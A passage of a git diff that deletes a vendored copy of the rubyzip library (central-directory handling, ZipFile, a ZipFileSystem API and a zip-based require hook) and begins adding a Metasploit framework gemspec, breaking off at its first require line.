- def parent(entry) - @entrySet[entry.parent_as_string] - end - - def glob(pattern, flags = File::FNM_PATHNAME|File::FNM_DOTMATCH) - entries.select { - |entry| - File.fnmatch(pattern, entry.name.chomp('/'), flags) - } - end - -#TODO attr_accessor :auto_create_directories - protected - attr_accessor :entrySet - end - - - class ZipCentralDirectory - include Enumerable - - END_OF_CENTRAL_DIRECTORY_SIGNATURE = 0x06054b50 - MAX_END_OF_CENTRAL_DIRECTORY_STRUCTURE_SIZE = 65536 + 18 - STATIC_EOCD_SIZE = 22 - - attr_reader :comment - - # Returns an Enumerable containing the entries. - def entries - @entrySet.entries - end - - def initialize(entries = ZipEntrySet.new, comment = "") #:nodoc: - super() - @entrySet = entries.kind_of?(ZipEntrySet) ? entries : ZipEntrySet.new(entries) - @comment = comment - end - - def write_to_stream(io) #:nodoc: - offset = io.tell - @entrySet.each { |entry| entry.write_c_dir_entry(io) } - write_e_o_c_d(io, offset) - end - - def write_e_o_c_d(io, offset) #:nodoc: - io << - [END_OF_CENTRAL_DIRECTORY_SIGNATURE, - 0 , # @numberOfThisDisk - 0 , # @numberOfDiskWithStartOfCDir - @entrySet? @entrySet.size : 0 , - @entrySet? @entrySet.size : 0 , - cdir_size , - offset , - @comment ? @comment.length : 0 ].pack('VvvvvVVv') - io << @comment - end - private :write_e_o_c_d - - def cdir_size #:nodoc: - # does not include eocd - @entrySet.inject(0) { |value, entry| entry.cdir_header_size + value } - end - private :cdir_size - - def read_e_o_c_d(io) #:nodoc: - buf = get_e_o_c_d(io) - @numberOfThisDisk = ZipEntry::read_zip_short(buf) - @numberOfDiskWithStartOfCDir = ZipEntry::read_zip_short(buf) - @totalNumberOfEntriesInCDirOnThisDisk = ZipEntry::read_zip_short(buf) - @size = ZipEntry::read_zip_short(buf) - @sizeInBytes = ZipEntry::read_zip_long(buf) - @cdirOffset = ZipEntry::read_zip_long(buf) - commentLength = ZipEntry::read_zip_short(buf) - @comment = buf.read(commentLength) - # remove trailing \n symbol - buf.chomp! - raise ZipError, "Zip consistency problem while reading eocd structure" unless buf.size == 0 - end - - def read_central_directory_entries(io) #:nodoc: - begin - io.seek(@cdirOffset, IO::SEEK_SET) - rescue Errno::EINVAL - raise ZipError, "Zip consistency problem while reading central directory entry" - end - @entrySet = ZipEntrySet.new - @size.times { - @entrySet << ZipEntry.read_c_dir_entry(io) - } - end - - def read_from_stream(io) #:nodoc: - read_e_o_c_d(io) - read_central_directory_entries(io) - end - - def get_e_o_c_d(io) #:nodoc: - begin - io.seek(-MAX_END_OF_CENTRAL_DIRECTORY_STRUCTURE_SIZE, IO::SEEK_END) - rescue Errno::EINVAL - io.seek(0, IO::SEEK_SET) - rescue Errno::EFBIG # FreeBSD 4.9 raise Errno::EFBIG instead of Errno::EINVAL - io.seek(0, IO::SEEK_SET) - end - - # 'buf = io.read' substituted with lump of code to work around FreeBSD 4.5 issue - retried = false - buf = nil - begin - buf = io.read - rescue Errno::EFBIG # FreeBSD 4.5 may raise Errno::EFBIG - raise if (retried) - retried = true - - io.seek(0, IO::SEEK_SET) - retry - end - - sigIndex = buf.rindex([END_OF_CENTRAL_DIRECTORY_SIGNATURE].pack('V')) - raise ZipError, "Zip end of central directory signature not found" unless sigIndex - buf=buf.slice!((sigIndex+4)...(buf.size)) - def buf.read(count) - slice!(0, count) - end - return buf - end - - # For iterating over the entries. - def each(&proc) - @entrySet.each(&proc) - end - - # Returns the number of entries in the central directory (and - # consequently in the zip archive). - def size - @entrySet.size - end - - def ZipCentralDirectory.read_from_stream(io) #:nodoc: - cdir = new - cdir.read_from_stream(io) - return cdir - rescue ZipError - return nil - end - - def == (other) #:nodoc: - return false unless other.kind_of?(ZipCentralDirectory) - @entrySet.entries.sort == other.entries.sort && comment == other.comment - end - end - - - class ZipError < StandardError ; end - - class ZipEntryExistsError < ZipError; end - class ZipDestinationFileExistsError < ZipError; end - class ZipCompressionMethodError < ZipError; end - class ZipEntryNameError < ZipError; end - class ZipInternalError < ZipError; end - - # ZipFile is modeled after java.util.zip.ZipFile from the Java SDK. - # The most important methods are those inherited from - # ZipCentralDirectory for accessing information about the entries in - # the archive and methods such as get_input_stream and - # get_output_stream for reading from and writing entries to the - # archive. The class includes a few convenience methods such as - # #extract for extracting entries to the filesystem, and #remove, - # #replace, #rename and #mkdir for making simple modifications to - # the archive. - # - # Modifications to a zip archive are not committed until #commit or - # #close is called. The method #open accepts a block following - # the pattern from File.open offering a simple way to - # automatically close the archive when the block returns. - # - # The following example opens zip archive <code>my.zip</code> - # (creating it if it doesn't exist) and adds an entry - # <code>first.txt</code> and a directory entry <code>a_dir</code> - # to it. - # - # require 'zip/zip' - # - # Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) { - # |zipfile| - # zipfile.get_output_stream("first.txt") { |f| f.puts "Hello from ZipFile" } - # zipfile.mkdir("a_dir") - # } - # - # The next example reopens <code>my.zip</code> writes the contents of - # <code>first.txt</code> to standard out and deletes the entry from - # the archive. - # - # require 'zip/zip' - # - # Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) { - # |zipfile| - # puts zipfile.read("first.txt") - # zipfile.remove("first.txt") - # } - # - # ZipFileSystem offers an alternative API that emulates ruby's - # interface for accessing the filesystem, ie. the File and Dir classes. - - class ZipFile < ZipCentralDirectory - - CREATE = 1 - - attr_reader :name - - # default -> false - attr_accessor :restore_ownership - # default -> false - attr_accessor :restore_permissions - # default -> true - attr_accessor :restore_times - - # Opens a zip archive. Pass true as the second parameter to create - # a new archive if it doesn't exist already. - def initialize(fileName, create = nil) - super() - @name = fileName - @comment = "" - if (File.exists?(fileName)) - File.open(name, "rb") { |f| read_from_stream(f) } - elsif (create) - @entrySet = ZipEntrySet.new - else - raise ZipError, "File #{fileName} not found" - end - @create = create - @storedEntries = @entrySet.dup - - @restore_ownership = false - @restore_permissions = false - @restore_times = true - end - - # Same as #new. If a block is passed the ZipFile object is passed - # to the block and is automatically closed afterwards just as with - # ruby's builtin File.open method. - def ZipFile.open(fileName, create = nil) - zf = ZipFile.new(fileName, create) - if block_given? - begin - yield zf - ensure - zf.close - end - else - zf - end - end - - # Returns the zip files comment, if it has one - attr_accessor :comment - - # Iterates over the contents of the ZipFile. This is more efficient - # than using a ZipInputStream since this methods simply iterates - # through the entries in the central directory structure in the archive - # whereas ZipInputStream jumps through the entire archive accessing the - # local entry headers (which contain the same information as the - # central directory). - def ZipFile.foreach(aZipFileName, &block) - ZipFile.open(aZipFileName) { - |zipFile| - zipFile.each(&block) - } - end - - # Returns an input stream to the specified entry. If a block is passed - # the stream object is passed to the block and the stream is automatically - # closed afterwards just as with ruby's builtin File.open method. - def get_input_stream(entry, &aProc) - get_entry(entry).get_input_stream(&aProc) - end - - # Returns an output stream to the specified entry. If a block is passed - # the stream object is passed to the block and the stream is automatically - # closed afterwards just as with ruby's builtin File.open method. - def get_output_stream(entry, &aProc) - newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@name, entry.to_s) - if newEntry.directory? - raise ArgumentError, - "cannot open stream to directory entry - '#{newEntry}'" - end - zipStreamableEntry = ZipStreamableStream.new(newEntry) - @entrySet << zipStreamableEntry - zipStreamableEntry.get_output_stream(&aProc) - end - - # Returns the name of the zip archive - def to_s - @name - end - - # Returns a string containing the contents of the specified entry - def read(entry) - get_input_stream(entry) { |is| is.read } - end - - # Convenience method for adding the contents of a file to the archive - def add(entry, srcPath, &continueOnExistsProc) - continueOnExistsProc ||= proc { false } - check_entry_exists(entry, continueOnExistsProc, "add") - newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@name, entry.to_s) - newEntry.gather_fileinfo_from_srcpath(srcPath) - @entrySet << newEntry - end - - # Removes the specified entry. - def remove(entry) - @entrySet.delete(get_entry(entry)) - end - - # Renames the specified entry. - def rename(entry, newName, &continueOnExistsProc) - foundEntry = get_entry(entry) - check_entry_exists(newName, continueOnExistsProc, "rename") - @entrySet.delete(foundEntry) - foundEntry.name = newName - @entrySet << foundEntry - end - - # Replaces the specified entry with the contents of srcPath (from - # the file system). - def replace(entry, srcPath) - check_file(srcPath) - add(remove(entry), srcPath) - end - - # Extracts entry to file destPath. - def extract(entry, destPath, &onExistsProc) - onExistsProc ||= proc { false } - foundEntry = get_entry(entry) - foundEntry.extract(destPath, &onExistsProc) - end - - # Commits changes that has been made since the previous commit to - # the zip archive. - def commit - return if ! commit_required? - on_success_replace(name) { - |tmpFile| - ZipOutputStream.open(tmpFile) { - |zos| - - @entrySet.each { |e| e.write_to_zip_output_stream(zos) } - zos.comment = comment - } - true - } - initialize(name) - end - - # Closes the zip file committing any changes that has been made. - def close - commit - end - - # Returns true if any changes has been made to this archive since - # the previous commit - def commit_required? - return @entrySet != @storedEntries || @create == ZipFile::CREATE - end - - # Searches for entry with the specified name. Returns nil if - # no entry is found. See also get_entry - def find_entry(entry) - @entrySet.detect { - |e| - e.name.sub(/\/$/, "") == entry.to_s.sub(/\/$/, "") - } - end - - # Searches for an entry just as find_entry, but throws Errno::ENOENT - # if no entry is found. - def get_entry(entry) - selectedEntry = find_entry(entry) - unless selectedEntry - raise Errno::ENOENT, entry - end - selectedEntry.restore_ownership = @restore_ownership - selectedEntry.restore_permissions = @restore_permissions - selectedEntry.restore_times = @restore_times - - return selectedEntry - end - - # Creates a directory - def mkdir(entryName, permissionInt = 0755) - if find_entry(entryName) - raise Errno::EEXIST, "File exists - #{entryName}" - end - @entrySet << ZipStreamableDirectory.new(@name, entryName.to_s.ensure_end("/"), nil, permissionInt) - end - - private - - def is_directory(newEntry, srcPath) - srcPathIsDirectory = File.directory?(srcPath) - if newEntry.is_directory && ! srcPathIsDirectory - raise ArgumentError, - "entry name '#{newEntry}' indicates directory entry, but "+ - "'#{srcPath}' is not a directory" - elsif ! newEntry.is_directory && srcPathIsDirectory - newEntry.name += "/" - end - return newEntry.is_directory && srcPathIsDirectory - end - - def check_entry_exists(entryName, continueOnExistsProc, procedureName) - continueOnExistsProc ||= proc { false } - if @entrySet.detect { |e| e.name == entryName } - if continueOnExistsProc.call - remove get_entry(entryName) - else - raise ZipEntryExistsError, - procedureName+" failed. Entry #{entryName} already exists" - end - end - end - - def check_file(path) - unless File.readable? path - raise Errno::ENOENT, path - end - end - - def on_success_replace(aFilename) - tmpfile = get_tempfile - tmpFilename = tmpfile.path - tmpfile.close - if yield tmpFilename - File.rename(tmpFilename, name) - end - end - - def get_tempfile - tempFile = Tempfile.new(File.basename(name), File.dirname(name)) - tempFile.binmode - tempFile - end - - end - - class ZipStreamableDirectory < ZipEntry - def initialize(zipfile, entry, srcPath = nil, permissionInt = nil) - super(zipfile, entry) - - @ftype = :directory - entry.get_extra_attributes_from_path(srcPath) if (srcPath) - @unix_perms = permissionInt if (permissionInt) - end - end - - class ZipStreamableStream < DelegateClass(ZipEntry) #nodoc:all - def initialize(entry) - super(entry) - @tempFile = Tempfile.new(File.basename(name), File.dirname(zipfile)) - @tempFile.binmode - end - - def get_output_stream - if block_given? - begin - yield(@tempFile) - ensure - @tempFile.close - end - else - @tempFile - end - end - - def get_input_stream - if ! @tempFile.closed? - raise StandardError, "cannot open entry for reading while its open for writing - #{name}" - end - @tempFile.open # reopens tempfile from top - @tempFile.binmode - if block_given? - begin - yield(@tempFile) - ensure - @tempFile.close - end - else - @tempFile - end - end - - def write_to_zip_output_stream(aZipOutputStream) - aZipOutputStream.put_next_entry(self) - get_input_stream { |is| IOExtras.copy_stream(aZipOutputStream, is) } - end - end - - class ZipExtraField < Hash - ID_MAP = {} - - # Meta class for extra fields - class Generic - def self.register_map - if self.const_defined?(:HEADER_ID) - ID_MAP[self.const_get(:HEADER_ID)] = self - end - end - - def self.name - self.to_s.split("::")[-1] - end - - # return field [size, content] or false - def initial_parse(binstr) - if ! binstr - # If nil, start with empty. - return false - elsif binstr[0,2] != self.class.const_get(:HEADER_ID) - $stderr.puts "Warning: weired extra feild header ID. skip parsing" - return false - end - [binstr[2,2].unpack("v")[0], binstr[4..-1]] - end - - def ==(other) - self.class != other.class and return false - each { |k, v| - v != other[k] and return false - } - true - end - - def to_local_bin - s = pack_for_local - self.class.const_get(:HEADER_ID) + [s.length].pack("v") + s - end - - def to_c_dir_bin - s = pack_for_c_dir - self.class.const_get(:HEADER_ID) + [s.length].pack("v") + s - end - end - - # Info-ZIP Additional timestamp field - class UniversalTime < Generic - HEADER_ID = "UT" - register_map - - def initialize(binstr = nil) - @ctime = nil - @mtime = nil - @atime = nil - @flag = nil - binstr and merge(binstr) - end - attr_accessor :atime, :ctime, :mtime, :flag - - def merge(binstr) - binstr == "" and return - size, content = initial_parse(binstr) - size or return - @flag, mtime, atime, ctime = content.unpack("CVVV") - mtime and @mtime ||= Time.at(mtime) - atime and @atime ||= Time.at(atime) - ctime and @ctime ||= Time.at(ctime) - end - - def ==(other) - @mtime == other.mtime && - @atime == other.atime && - @ctime == other.ctime - end - - def pack_for_local - s = [@flag].pack("C") - @flag & 1 != 0 and s << [@mtime.to_i].pack("V") - @flag & 2 != 0 and s << [@atime.to_i].pack("V") - @flag & 4 != 0 and s << [@ctime.to_i].pack("V") - s - end - - def pack_for_c_dir - s = [@flag].pack("C") - @flag & 1 == 1 and s << [@mtime.to_i].pack("V") - s - end - end - - # Info-ZIP Extra for UNIX uid/gid - class IUnix < Generic - HEADER_ID = "Ux" - register_map - - def initialize(binstr = nil) - @uid = 0 - @gid = 0 - binstr and merge(binstr) - end - attr_accessor :uid, :gid - - def merge(binstr) - binstr == "" and return - size, content = initial_parse(binstr) - # size: 0 for central direcotry. 4 for local header - return if(! size || size == 0) - uid, gid = content.unpack("vv") - @uid ||= uid - @gid ||= gid - end - - def ==(other) - @uid == other.uid && - @gid == other.gid - end - - def pack_for_local - [@uid, @gid].pack("vv") - end - - def pack_for_c_dir - "" - end - end - - ## start main of ZipExtraField < Hash - def initialize(binstr = nil) - binstr and merge(binstr) - end - - def merge(binstr) - binstr == "" and return - i = 0 - while i < binstr.length - id = binstr[i,2] - len = binstr[i+2,2].to_s.unpack("v")[0] - if id && ID_MAP.member?(id) - field_name = ID_MAP[id].name - if self.member?(field_name) - self[field_name].mergea(binstr[i, len+4]) - else - field_obj = ID_MAP[id].new(binstr[i, len+4]) - self[field_name] = field_obj - end - elsif id - unless self["Unknown"] - s = "" - class << s - alias_method :to_c_dir_bin, :to_s - alias_method :to_local_bin, :to_s - end - self["Unknown"] = s - end - if ! len || len+4 > binstr[i..-1].length - self["Unknown"] << binstr[i..-1] - break; - end - self["Unknown"] << binstr[i, len+4] - end - i += len+4 - end - end - - def create(name) - field_class = nil - ID_MAP.each { |id, klass| - if klass.name == name - field_class = klass - break - end - } - if ! field_class - raise ZipError, "Unknown extra field '#{name}'" - end - self[name] = field_class.new() - end - - def to_local_bin - s = "" - each { |k, v| - s << v.to_local_bin - } - s - end - alias :to_s :to_local_bin - - def to_c_dir_bin - s = "" - each { |k, v| - s << v.to_c_dir_bin - } - s - end - - def c_dir_length - to_c_dir_bin.length - end - def local_length - to_local_bin.length - end - alias :c_dir_size :c_dir_length - alias :local_size :local_length - alias :length :local_length - alias :size :local_length - end # end ZipExtraField - -end # Zip namespace module - - - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/zipfilesystem.rb b/lib/zip/zipfilesystem.rb deleted file mode 100644 index 565ce2b3a0..0000000000 --- a/lib/zip/zipfilesystem.rb +++ /dev/null @@ -1,611 +0,0 @@ -# encoding: ASCII-8BIT -require 'zip/zip' - -module Zip - - # The ZipFileSystem API provides an API for accessing entries in - # a zip archive that is similar to ruby's builtin File and Dir - # classes. - # - # Requiring 'zip/zipfilesystem' includes this module in ZipFile - # making the methods in this module available on ZipFile objects. - # - # Using this API the following example creates a new zip file - # <code>my.zip</code> containing a normal entry with the name - # <code>first.txt</code>, a directory entry named <code>mydir</code> - # and finally another normal entry named <code>second.txt</code> - # - # require 'zip/zipfilesystem' - # - # Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) { - # |zipfile| - # zipfile.file.open("first.txt", "w") { |f| f.puts "Hello world" } - # zipfile.dir.mkdir("mydir") - # zipfile.file.open("mydir/second.txt", "w") { |f| f.puts "Hello again" } - # } - # - # Reading is as easy as writing, as the following example shows. The - # example writes the contents of <code>first.txt</code> from zip archive - # <code>my.zip</code> to standard out. - # - # require 'zip/zipfilesystem' - # - # Zip::ZipFile.open("my.zip") { - # |zipfile| - # puts zipfile.file.read("first.txt") - # } - - module ZipFileSystem - - def initialize # :nodoc: - mappedZip = ZipFileNameMapper.new(self) - @zipFsDir = ZipFsDir.new(mappedZip) - @zipFsFile = ZipFsFile.new(mappedZip) - @zipFsDir.file = @zipFsFile - @zipFsFile.dir = @zipFsDir - end - - # Returns a ZipFsDir which is much like ruby's builtin Dir (class) - # object, except it works on the ZipFile on which this method is - # invoked - def dir - @zipFsDir - end - - # Returns a ZipFsFile which is much like ruby's builtin File (class) - # object, except it works on the ZipFile on which this method is - # invoked - def file - @zipFsFile - end - - # Instances of this class are normally accessed via the accessor - # ZipFile::file. An instance of ZipFsFile behaves like ruby's - # builtin File (class) object, except it works on ZipFile entries. - # - # The individual methods are not documented due to their - # similarity with the methods in File - class ZipFsFile - - attr_writer :dir -# protected :dir - - class ZipFsStat - def initialize(zipFsFile, entryName) - @zipFsFile = zipFsFile - @entryName = entryName - end - - def forward_invoke(msg) - @zipFsFile.send(msg, @entryName) - end - - def kind_of?(t) - super || t == ::File::Stat - end - - forward_message :forward_invoke, :file?, :directory?, :pipe?, :chardev? - forward_message :forward_invoke, :symlink?, :socket?, :blockdev? - forward_message :forward_invoke, :readable?, :readable_real? - forward_message :forward_invoke, :writable?, :writable_real? - forward_message :forward_invoke, :executable?, :executable_real? - forward_message :forward_invoke, :sticky?, :owned?, :grpowned? - forward_message :forward_invoke, :setuid?, :setgid? - forward_message :forward_invoke, :zero? - forward_message :forward_invoke, :size, :size? - forward_message :forward_invoke, :mtime, :atime, :ctime - - def blocks; nil; end - - def get_entry - @zipFsFile.__send__(:get_entry, @entryName) - end - private :get_entry - - def gid - e = get_entry - if e.extra.member? "IUnix" - e.extra["IUnix"].gid || 0 - else - 0 - end - end - - def uid - e = get_entry - if e.extra.member? "IUnix" - e.extra["IUnix"].uid || 0 - else - 0 - end - end - - def ino; 0; end - - def dev; 0; end - - def rdev; 0; end - - def rdev_major; 0; end - - def rdev_minor; 0; end - - def ftype - if file? - return "file" - elsif directory? - return "directory" - else - raise StandardError, "Unknown file type" - end - end - - def nlink; 1; end - - def blksize; nil; end - - def mode - e = get_entry - if e.fstype == 3 - e.externalFileAttributes >> 16 - else - 33206 # 33206 is equivalent to -rw-rw-rw- - end - end - end - - def initialize(mappedZip) - @mappedZip = mappedZip - end - - def get_entry(fileName) - if ! exists?(fileName) - raise Errno::ENOENT, "No such file or directory - #{fileName}" - end - @mappedZip.find_entry(fileName) - end - private :get_entry - - def unix_mode_cmp(fileName, mode) - begin - e = get_entry(fileName) - e.fstype == 3 && ((e.externalFileAttributes >> 16) & mode ) != 0 - rescue Errno::ENOENT - false - end - end - private :unix_mode_cmp - - def exists?(fileName) - expand_path(fileName) == "/" || @mappedZip.find_entry(fileName) != nil - end - alias :exist? :exists? - - # Permissions not implemented, so if the file exists it is accessible - alias owned? exists? - alias grpowned? exists? - - def readable?(fileName) - unix_mode_cmp(fileName, 0444) - end - alias readable_real? readable? - - def writable?(fileName) - unix_mode_cmp(fileName, 0222) - end - alias writable_real? writable? - - def executable?(fileName) - unix_mode_cmp(fileName, 0111) - end - alias executable_real? executable? - - def setuid?(fileName) - unix_mode_cmp(fileName, 04000) - end - - def setgid?(fileName) - unix_mode_cmp(fileName, 02000) - end - - def sticky?(fileName) - unix_mode_cmp(fileName, 01000) - end - - def umask(*args) - ::File.umask(*args) - end - - def truncate(fileName, len) - raise StandardError, "truncate not supported" - end - - def directory?(fileName) - entry = @mappedZip.find_entry(fileName) - expand_path(fileName) == "/" || (entry != nil && entry.directory?) - end - - def open(fileName, openMode = "r", &block) - openMode.gsub!("b", "") # ignore b option - case openMode - when "r" - @mappedZip.get_input_stream(fileName, &block) - when "w" - @mappedZip.get_output_stream(fileName, &block) - else - raise StandardError, "openmode '#{openMode} not supported" unless openMode == "r" - end - end - - def new(fileName, openMode = "r") - open(fileName, openMode) - end - - def size(fileName) - @mappedZip.get_entry(fileName).size - end - - # Returns nil for not found and nil for directories - def size?(fileName) - entry = @mappedZip.find_entry(fileName) - return (entry == nil || entry.directory?) ? nil : entry.size - end - - def chown(ownerInt, groupInt, *filenames) - filenames.each { |fileName| - e = get_entry(fileName) - unless e.extra.member?("IUnix") - e.extra.create("IUnix") - end - e.extra["IUnix"].uid = ownerInt - e.extra["IUnix"].gid = groupInt - } - filenames.size - end - - def chmod (modeInt, *filenames) - filenames.each { |fileName| - e = get_entry(fileName) - e.fstype = 3 # force convertion filesystem type to unix - e.externalFileAttributes = modeInt << 16 - } - filenames.size - end - - def zero?(fileName) - sz = size(fileName) - sz == nil || sz == 0 - rescue Errno::ENOENT - false - end - - def file?(fileName) - entry = @mappedZip.find_entry(fileName) - entry != nil && entry.file? - end - - def dirname(fileName) - ::File.dirname(fileName) - end - - def basename(fileName) - ::File.basename(fileName) - end - - def split(fileName) - ::File.split(fileName) - end - - def join(*fragments) - ::File.join(*fragments) - end - - def utime(modifiedTime, *fileNames) - fileNames.each { |fileName| - get_entry(fileName).time = modifiedTime - } - end - - def mtime(fileName) - @mappedZip.get_entry(fileName).mtime - end - - def atime(fileName) - e = get_entry(fileName) - if e.extra.member? "UniversalTime" - e.extra["UniversalTime"].atime - else - nil - end - end - - def ctime(fileName) - e = get_entry(fileName) - if e.extra.member? "UniversalTime" - e.extra["UniversalTime"].ctime - else - nil - end - end - - def pipe?(filename) - false - end - - def blockdev?(filename) - false - end - - def chardev?(filename) - false - end - - def symlink?(fileName) - false - end - - def socket?(fileName) - false - end - - def ftype(fileName) - @mappedZip.get_entry(fileName).directory? ? "directory" : "file" - end - - def readlink(fileName) - raise NotImplementedError, "The readlink() function is not implemented" - end - - def symlink(fileName, symlinkName) - raise NotImplementedError, "The symlink() function is not implemented" - end - - def link(fileName, symlinkName) - raise NotImplementedError, "The link() function is not implemented" - end - - def pipe - raise NotImplementedError, "The pipe() function is not implemented" - end - - def stat(fileName) - if ! exists?(fileName) - raise Errno::ENOENT, fileName - end - ZipFsStat.new(self, fileName) - end - - alias lstat stat - - def readlines(fileName) - open(fileName) { |is| is.readlines } - end - - def read(fileName) - @mappedZip.read(fileName) - end - - def popen(*args, &aProc) - File.popen(*args, &aProc) - end - - def foreach(fileName, aSep = $/, &aProc) - open(fileName) { |is| is.each_line(aSep, &aProc) } - end - - def delete(*args) - args.each { - |fileName| - if directory?(fileName) - raise Errno::EISDIR, "Is a directory - \"#{fileName}\"" - end - @mappedZip.remove(fileName) - } - end - - def rename(fileToRename, newName) - @mappedZip.rename(fileToRename, newName) { true } - end - - alias :unlink :delete - - def expand_path(aPath) - @mappedZip.expand_path(aPath) - end - end - - # Instances of this class are normally accessed via the accessor - # ZipFile::dir. An instance of ZipFsDir behaves like ruby's - # builtin Dir (class) object, except it works on ZipFile entries. - # - # The individual methods are not documented due to their - # similarity with the methods in Dir - class ZipFsDir - - def initialize(mappedZip) - @mappedZip = mappedZip - end - - attr_writer :file - - def new(aDirectoryName) - ZipFsDirIterator.new(entries(aDirectoryName)) - end - - def open(aDirectoryName) - dirIt = new(aDirectoryName) - if block_given? - begin - yield(dirIt) - return nil - ensure - dirIt.close - end - end - dirIt - end - - def pwd; @mappedZip.pwd; end - alias getwd pwd - - def chdir(aDirectoryName) - unless @file.stat(aDirectoryName).directory? - raise Errno::EINVAL, "Invalid argument - #{aDirectoryName}" - end - @mappedZip.pwd = @file.expand_path(aDirectoryName) - end - - def entries(aDirectoryName) - entries = [] - foreach(aDirectoryName) { |e| entries << e } - entries - end - - def foreach(aDirectoryName) - unless @file.stat(aDirectoryName).directory? - raise Errno::ENOTDIR, aDirectoryName - end - path = @file.expand_path(aDirectoryName).ensure_end("/") - - subDirEntriesRegex = Regexp.new("^#{path}([^/]+)$") - @mappedZip.each { - |fileName| - match = subDirEntriesRegex.match(fileName) - yield(match[1]) unless match == nil - } - end - - def delete(entryName) - unless @file.stat(entryName).directory? - raise Errno::EINVAL, "Invalid argument - #{entryName}" - end - @mappedZip.remove(entryName) - end - alias rmdir delete - alias unlink delete - - def mkdir(entryName, permissionInt = 0755) - @mappedZip.mkdir(entryName, permissionInt) - end - - def chroot(*args) - raise NotImplementedError, "The chroot() function is not implemented" - end - - end - - class ZipFsDirIterator # :nodoc:all - include Enumerable - - def initialize(arrayOfFileNames) - @fileNames = arrayOfFileNames - @index = 0 - end - - def close - @fileNames = nil - end - - def each(&aProc) - raise IOError, "closed directory" if @fileNames == nil - @fileNames.each(&aProc) - end - - def read - raise IOError, "closed directory" if @fileNames == nil - @fileNames[(@index+=1)-1] - end - - def rewind - raise IOError, "closed directory" if @fileNames == nil - @index = 0 - end - - def seek(anIntegerPosition) - raise IOError, "closed directory" if @fileNames == nil - @index = anIntegerPosition - end - - def tell - raise IOError, "closed directory" if @fileNames == nil - @index - end - end - - # All access to ZipFile from ZipFsFile and ZipFsDir goes through a - # ZipFileNameMapper, which has one responsibility: ensure - class ZipFileNameMapper # :nodoc:all - include Enumerable - - def initialize(zipFile) - @zipFile = zipFile - @pwd = "/" - end - - attr_accessor :pwd - - def find_entry(fileName) - @zipFile.find_entry(expand_to_entry(fileName)) - end - - def get_entry(fileName) - @zipFile.get_entry(expand_to_entry(fileName)) - end - - def get_input_stream(fileName, &aProc) - @zipFile.get_input_stream(expand_to_entry(fileName), &aProc) - end - - def get_output_stream(fileName, &aProc) - @zipFile.get_output_stream(expand_to_entry(fileName), &aProc) - end - - def read(fileName) - @zipFile.read(expand_to_entry(fileName)) - end - - def remove(fileName) - @zipFile.remove(expand_to_entry(fileName)) - end - - def rename(fileName, newName, &continueOnExistsProc) - @zipFile.rename(expand_to_entry(fileName), expand_to_entry(newName), - &continueOnExistsProc) - end - - def mkdir(fileName, permissionInt = 0755) - @zipFile.mkdir(expand_to_entry(fileName), permissionInt) - end - - # Turns entries into strings and adds leading / - # and removes trailing slash on directories - def each - @zipFile.each { - |e| - yield("/"+e.to_s.chomp("/")) - } - end - - def expand_path(aPath) - expanded = aPath.starts_with("/") ? aPath : @pwd.ensure_end("/") + aPath - expanded.gsub!(/\/\.(\/|$)/, "") - expanded.gsub!(/[^\/]+\/\.\.(\/|$)/, "") - expanded.empty? ? "/" : expanded - end - - private - - def expand_to_entry(aPath) - expand_path(aPath).lchop - end - end - end - - class ZipFile - include ZipFileSystem - end -end - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/ziprequire.rb b/lib/zip/ziprequire.rb deleted file mode 100644 index a3b1261c20..0000000000 --- a/lib/zip/ziprequire.rb +++ /dev/null @@ -1,90 +0,0 @@ -# With ziprequire you can load ruby modules from a zip file. This means -# ruby's module include path can include zip-files. -# -# The following example creates a zip file with a single entry -# <code>log/simplelog.rb</code> that contains a single function -# <code>simpleLog</code>: -# -# require 'zip/zipfilesystem' -# -# Zip::ZipFile.open("my.zip", true) { -# |zf| -# zf.file.open("log/simplelog.rb", "w") { -# |f| -# f.puts "def simpleLog(v)" -# f.puts ' Kernel.puts "INFO: #{v}"' -# f.puts "end" -# } -# } -# -# To use the ruby module stored in the zip archive simply require -# <code>zip/ziprequire</code> and include the <code>my.zip</code> zip -# file in the module search path. The following command shows one -# way to do this: -# -# ruby -rzip/ziprequire -Imy.zip -e " require 'log/simplelog'; simpleLog 'Hello world' " - -#$: << 'data/rubycode.zip' << 'data/rubycode2.zip' - - -require 'zip/zip' - -class ZipList #:nodoc:all - def initialize(zipFileList) - @zipFileList = zipFileList - end - - def get_input_stream(entry, &aProc) - @zipFileList.each { - |zfName| - Zip::ZipFile.open(zfName) { - |zf| - begin - return zf.get_input_stream(entry, &aProc) - rescue Errno::ENOENT - end - } - } - raise Errno::ENOENT, - "No matching entry found in zip files '#{@zipFileList.join(', ')}' "+ - " for '#{entry}'" - end -end - - -module Kernel #:nodoc:all - alias :oldRequire :require - - def require(moduleName) - zip_require(moduleName) || oldRequire(moduleName) - end - - def zip_require(moduleName) - return false if already_loaded?(moduleName) - get_resource(ensure_rb_extension(moduleName)) { - |zis| - eval(zis.read); $" << moduleName - } - return true - rescue Errno::ENOENT => ex - return false - end - - def get_resource(resourceName, &aProc) - zl = ZipList.new($:.grep(/\.zip$/)) - zl.get_input_stream(resourceName, &aProc) - end - - def already_loaded?(moduleName) - moduleRE = Regexp.new("^"+moduleName+"(\.rb|\.so|\.dll|\.o)?$") - $".detect { |e| e =~ moduleRE } != nil - end - - def ensure_rb_extension(aString) - aString.sub(/(\.rb)?$/i, ".rb") - end -end - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec new file mode 100644 index 0000000000..cf7ea20134 --- /dev/null +++ b/metasploit-framework-db.gemspec @@ -0,0 +1,39 @@ +# coding: utf-8 + +# During build, the Gemfile is temporarily moved and +# we must manually define the project root +if ENV['MSF_ROOT'] + lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) +else + # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers + # require realpaths. + lib = File.realpath(File.expand_path('../lib', __FILE__)) +end + +$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) +require 